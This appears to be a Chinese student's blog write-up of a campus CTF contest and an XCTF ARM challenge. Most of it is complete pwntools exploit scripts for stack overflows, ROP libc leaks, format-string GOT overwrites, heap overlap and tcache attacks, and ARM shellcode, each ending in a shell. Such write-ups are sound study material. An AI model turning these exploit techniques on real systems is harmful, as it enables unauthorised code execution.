前言

2020最后一个月,划水的一个月,没什么比赛,也没什么事情,17级考研结束了,我们也该准备了

没啥好写的,老规矩,放上校赛题解

(最后一波狙击似乎把比赛整乱套了,社工大军开始疯狂py……இ௰இ)

0x00 pwn1

strlen() \x00截断,绕过strcmp,覆盖掉变量为123

1
2
3
4
5
6
from pwn import *
elf = ELF("./pwn1")
# p = elf.process()
p = remote('219.219.61.234','10000')
p.send('\x00'+'a'*6+p32(123)+p32(0))
p.interactive()

0x01 pwn2

和pwn1同理,利用两次ROP构造来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
elf = ELF("./pwn2")
# p = elf.process()
# context.log_level = 'debug'
# libc = ELF('libc.so.6')
libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
p = remote('219.219.61.234','10001')
p.send('\x00'+'a'*6+p32(12345)+p32(0))
payload = 'a'*0x6c + 'b'*4 + p32(elf.plt['puts']) +p32(0x8048753) + p32(elf.got['puts'])
p.recvuntil("haha\n")
p.send(payload)
libc_base = u32(p.recvuntil("\xf7").ljust(4,'\x00')) - libc.sym['puts']
info(hex(libc_base))
sys = libc_base + libc.sym['system']
binsh = libc_base + 0x15910b
payload = 'a'*0x6c + 'b'*4 + p32(sys)+'a'*4+ p32(binsh)
p.send(payload)
p.interactive()

0x02 pwn3

通过构造,将结构体内的puts函数指针改为system

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
elf=ELF('./pwn3')
# p = elf.process()
p =remote('219.219.61.234',10002)
libc = ELF('libc.so.6')
def add(size,con):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Note size :',str(size))
p.sendafter('Content :',con)

def delete(idx):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index:',str(idx))

def show(idx):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index :',str(idx))
backdoor=0x08048986
info(hex(backdoor))
add(16,'ld1ng')
add(16,'ld1ng')
delete(0)
delete(1)
add(8,p32(backdoor))
show(0)

p.interactive()

0x03 pwn4

在子洋师傅的帮助下用matlab解出密钥,然后格式化字符串漏洞泄露libc基址,地址任意写,可以修改puts的got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
elf=ELF('./pwn4')
# context.log_level = 'debug'
context(arch='amd64',os='linux')
# p = elf.process()
p =remote('219.219.61.234',10003)
libc = ELF('libc-2.23.so')
passwd = '3xpL0r3R'
onegadget = [0x45226,0x4527a,0xf0364,0xf1207]
puts_got = elf.got['printf']
p.sendlineafter("important secret",'ld1ng')
p.sendlineafter(">>",str(3))
p.sendlineafter("please inputs password >>",passwd)
p.recv()
p.recvuntil("secret\n")
p.recvuntil("secret\n")
# gdb.attach(p)
# p.sendlineafter("please your secret","%45$p")
p.sendline("%77$p")
libc_base = int(p.recv(15),16) - 0x20840
info(hex(libc_base))
one_gadget = libc_base + onegadget[0]
payload = fmtstr_payload(6,{puts_got:one_gadget})
p.sendline(payload)
p.interactive()

0x04 pwn5

free unsortedbin泄露libc基址,通过单字节溢出,来构造overlap,通过就该下个堆块的struct变量地址来修改got表,从而getshell,(打远程时出了点问题,可以通过show free的got表来泄露libc版本)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
elf = ELF('./pwn5')
# p = elf.process()
p = remote('219.219.61.234','10004')
libc = ELF('libc-2.23.so')
# libc = ELF('libc.so.6')
# context.log_level = 'debug'
og = [0x4f3d5,0x4f432,0x10a41c,0x45226,0x4527a,0xf0364,0xf1207]
def add(size,con):
p.sendlineafter('Your choice :','1')
p.sendlineafter('Size:',str(size))
p.sendafter('Content:',con)

def edit(idx,con):
p.sendlineafter('Your choice :','2')
p.sendlineafter('Index:',str(idx))
p.sendafter('Content:',con)

def delete(idx):
p.sendlineafter('Your choice :','4')
p.sendlineafter('Index:',str(idx))

def show(idx):
p.sendlineafter('Your choice :','3')
p.sendlineafter('Index:',str(idx))
# buf = 0x2177158
add(0x90,"aaa") #0
add(0x48,"bbb") #1
delete(0)
add(0x90,'\x78')
show(0)
p.recvuntil("Content: ")
libc_base = u64(p.recvuntil('\x7f').ljust(8,'\x00')) -88 -0x10 -libc.sym['__malloc_hook'] #- 0x3c4b78
info(hex(libc_base))
# add(0x68,"ccc")
# add(0x68,"ddd")
# edit(1,'a'*0x48+'\x91')
# delete(2)
add(0x18,'aaaa')#2
add(0x10,'bbbb')#3
add(0x10,'cccc')#4
add(0x10,'/bin/sh')#5
edit(2,'a'*0x18+'\x81')
delete(3)

payload = 'd'*0x40+ p64(8) + p64(elf.got['free'])
add(0x70,payload)#3
show(4)
p.recvuntil("Content: ")
free_addr = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
info(hex(free_addr))
# libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']
one = libc_base + og[6]
info(hex(system_addr))
edit(4,p64(system_addr))
# edit(4,p64(one))
delete(5)

p.interactive()

0x05 pwn6

uaf和单字节溢出漏洞,与pwn5类似的构造,通过got表的修改来getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
elf = ELF('./pwn6')
# p = elf.process()
p = remote('219.219.61.234','10005')
# libc = ELF('libc-2.23.so')
libc = ELF('libc.so.6')
# context.log_level = 'debug'
def enter():
p.sendlineafter("important secret","ld1ng")
p.sendlineafter(">>","2")

def add(idx,size,con):
p.sendlineafter('Your Choice>>','1')
p.sendlineafter('index>>',str(idx))
p.sendlineafter('size>>',str(size))
p.sendlineafter('name>>',con)

def edit(idx,con):
p.sendlineafter('Your Choice>>','3')
p.sendlineafter('index>>',str(idx))
p.sendafter('name>>',con)

def delete(idx):
p.sendlineafter('Your Choice>>','2')
p.sendlineafter('index>>',str(idx))

def show(idx):
p.sendlineafter('Your Choice>>','5')
p.sendlineafter('index>>',str(idx))
enter()
add(0,128,"aaa")
add(1,128,"bbb")
delete(0)
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10 -libc.sym['__malloc_hook']
info(hex(libc_base))
sys = libc_base + libc.sym["system"]
info(hex(sys))
add(2,0x88,"ccc")
add(3,0x88,"ddd")
add(4,0x88,"eee")
edit(0,'a'*0x88 + '\xd1')
delete(1)
add(5,0xc8,"fff")
edit(5,p64(0)*3+p64(0x21)+p64(0)*16+p64(0)+p64(0x21)+p64(0x88)+p64(0x602080)+p64(0))
p.sendline("ls")
# add(6,0x80,"ld1ng")
edit(3,p64(sys))
p.sendline("ls")
p.sendline("cat flag")
# delete(4)

p.interactive()

0x06 pwn7

ubuntu18.4,利用tcache机制,构造一个合并的大unsorted堆块,利用单字节溢出(off by none),修改下一个chunk的size位,利用unlink机制会造成中间块重叠,也就是说还会再申请到中间块,造成两个指针指向同一内存区域,这样修改fd指针将free_hook改为onegadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
elf = ELF('./pwn7')
# p = elf.process()
p = remote('219.219.61.234','10050')
# libc = ELF('libc-2.27.so')
libc = ELF('libc.so')
# context.log_level = 'debug'
og = [0x4f3d5,0x4f432,0x10a41c,0x4f365,0x4f3c2,0x10a45c]
def add(size,con):
p.sendlineafter('> ','1')
p.sendlineafter('> ',str(size))
p.sendlineafter('> ',con)
def delete(idx):
p.sendlineafter('> ','2')
p.sendlineafter('> ',str(idx))
def show(idx):
p.sendlineafter('> ','3')
p.sendlineafter('> ',str(idx))
for i in range(10):
add(0x10,'a')
for i in range(3,10):
delete(i)
for i in range(3):
delete(i)
for i in range(10):
add(0x10,'a') #unsortdebin -> 7,8,9
for i in range(6):
delete(i)
delete(8)
delete(7)
add(0xf8,'ld1ng') #idx9 -> 0
delete(6)
delete(9)
for i in range(8):
add(0x10,'b')
show(0)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 96 - 0x3ebc40
info('libc_base : '+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base +og[1] #0x4f3c2 0x4f365 0x10a45c
# sys = libc_base + libc.sym["system"]
info('free_hook : '+hex(free_hook))
info('one_gadget : '+hex(one_gadget))
add(0x10,'d')
delete(1)
delete(0)
delete(9)
add(0x20,p64(free_hook))
add(0x20,'e')
add(0x20,p64(one_gadget))
delete(3)
p.sendline("cat flag")
p.interactive()

0x08 华为XCTF ARM pwn1

第一次做arm pwn,先搭建好arm环境,但是没有搞定符号表,动调也很麻烦,存疑

题目是一道很简单的栈溢出,但是需要学习掌握arm的汇编知识

看一下源程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
main                                    ; DATA XREF: _start+20↑o
.text:000104A0 ; .text:off_103DC↑o
.text:000104A0
.text:000104A0 buf = -0x104
.text:000104A0
.text:000104A0 PUSH {R11,LR}
.text:000104A4 ADD R11, SP, #4
.text:000104A8 SUB SP, SP, #0x100
.text:000104AC LDR R2, =_GLOBAL_OFFSET_TABLE_ ; PIC mode
.text:000104B0 NOP
.text:000104B4 LDR R3, =(stdout_ptr - 0x21000)
.text:000104B8 LDR R3, [R2,R3] ; stdout
.text:000104BC LDR R0, [R3] ; stream
.text:000104C0 MOV R3, #0 ; n
.text:000104C4 MOV R2, #2 ; modes
.text:000104C8 MOV R1, #0 ; buf
.text:000104CC BL setvbuf
.text:000104D0 LDR R3, =(aInput - 0x104DC) ; "input: "
.text:000104D4 ADD R3, PC, R3 ; "input: "
.text:000104D8 MOV R0, R3 ; format
.text:000104DC BL printf
.text:000104E0 SUB R3, R11, #-buf
.text:000104E4 MOV R2, #0x300 ; nbytes
.text:000104E8 MOV R1, R3 ; buf
.text:000104EC MOV R0, #0 ; fd
.text:000104F0 BL read
.text:000104F4 MOV R3, #0
.text:000104F8 MOV R0, R3
.text:000104FC SUB SP, R11, #4
.text:00010500 POP {R11,PC}

程序开了NX保护,所以尝试用rop来攻击

首先寻找一些比较有用的gadget

1
2
3
4
0x00056b7c : pop {r0, r4, pc}
0x00010500 : pop {fp, pc}
0x00010348 : pop {r3, pc}
0x00010498 : pop {r4, pc}

思路是,第一次泄露libc基址,通过printf将read_got泄露

但是没有单独的pop r0的gadget,所以尝试pop {r3, pc},然后返回到0x000104D8

image-20201231152256196

这样就可以打印出libc基址,然后就卡住了,似乎没办法控制pc了

但是神奇的是,通过动调发现libc基址并没有发生变化,然后尝试记下固定的libc基址,构造payload

payload=’a’*0x104+p32(pop_0_4)+p32(bin_sh)*2+p32(system)即可

至于为什么libc基址不变,查了很多资料并没有收获,

但听A1GX师傅说,运行的qemu的虚拟框架内可能是没有nx保护或者alsr,存疑

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='arm',os='linux',log_level='debug')
elf=ELF('./bin')
# libc=ELF('./libc-2.31.so')
libc = ELF('/usr/arm-linux-gnueabihf/lib/libc.so.6')
def gdb_attach():
os.system('gnome-terminal -x sh -c "gdb-multiarch ./bin -ex \'target remote 127.0.0.1:1234\'"')
# io = process(["qemu-arm","-g","1234","-L","/usr/arm-linux-gnueabihf","./bin"])
io = process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./bin"])
# io = remote("139.159.210.220",9999)
read_got=elf.got['read']
printf_got=elf.got['printf']
printf_plt = elf.plt['printf']
# print hex(libc.sym['read'])
print hex(read_got)
# payload = '\x00'*0x104+p32(0x00010348)+p32(read_got)+p32(0x000104D8)

# io.sendafter("input: ",payload)
# libc_base = u32(io.recv(4)) - libc.sym['read']
# info(hex(libc_base))
libc_base = 0xf66cc000
system=libc_base+libc.sym['system']
bin_sh=libc_base+0xca574
pop_0_4=libc_base+0x00056b7c
# gdb.attach(proc.pidof(io)[0])
payload='a'*0x104+p32(pop_0_4)+p32(bin_sh)*2+p32(system)
io.send(payload)
# io.sendline("ls")
io.interactive()

虽然显示开启了NX保护,但是我发现各个段都是有可执行权限的(太疑惑了!),所以可以向bss段写入shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(arch='arm',os='linux',log_level='debug')

# io = process(["qemu-arm","-g","1234","-L",".","./bin"])
io = process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./bin"])
# io = remote("139.159.210.220",9999)
shellcode = b'\x02\x20\x42\xe0\x1c\x30\x8f\xe2'
shellcode += b'\x04\x30\x8d\xe5\x08\x20\x8d\xe5'
shellcode += b'\x13\x02\xa0\xe1\x07\x20\xc3\xe5'
shellcode += b'\x04\x30\x8f\xe2\x04\x10\x8d\xe2'
shellcode += b'\x01\x20\xc3\xe5\x0b\x0b\x90\xef'
shellcode += b'/bin/sh;'

pop_r3_pc = 0x00010348
data_addr = 0x00021030
read_addr = 0x000104E8

payload = b'a'*256+p32(data_addr)+p32(pop_r3_pc)+p32(data_addr)+p32(read_addr)
io.sendafter("input: ",payload)
io.sendline(p32(data_addr+4)+shellcode)
io.interactive()

0x09 年度小结~

大家新年快乐!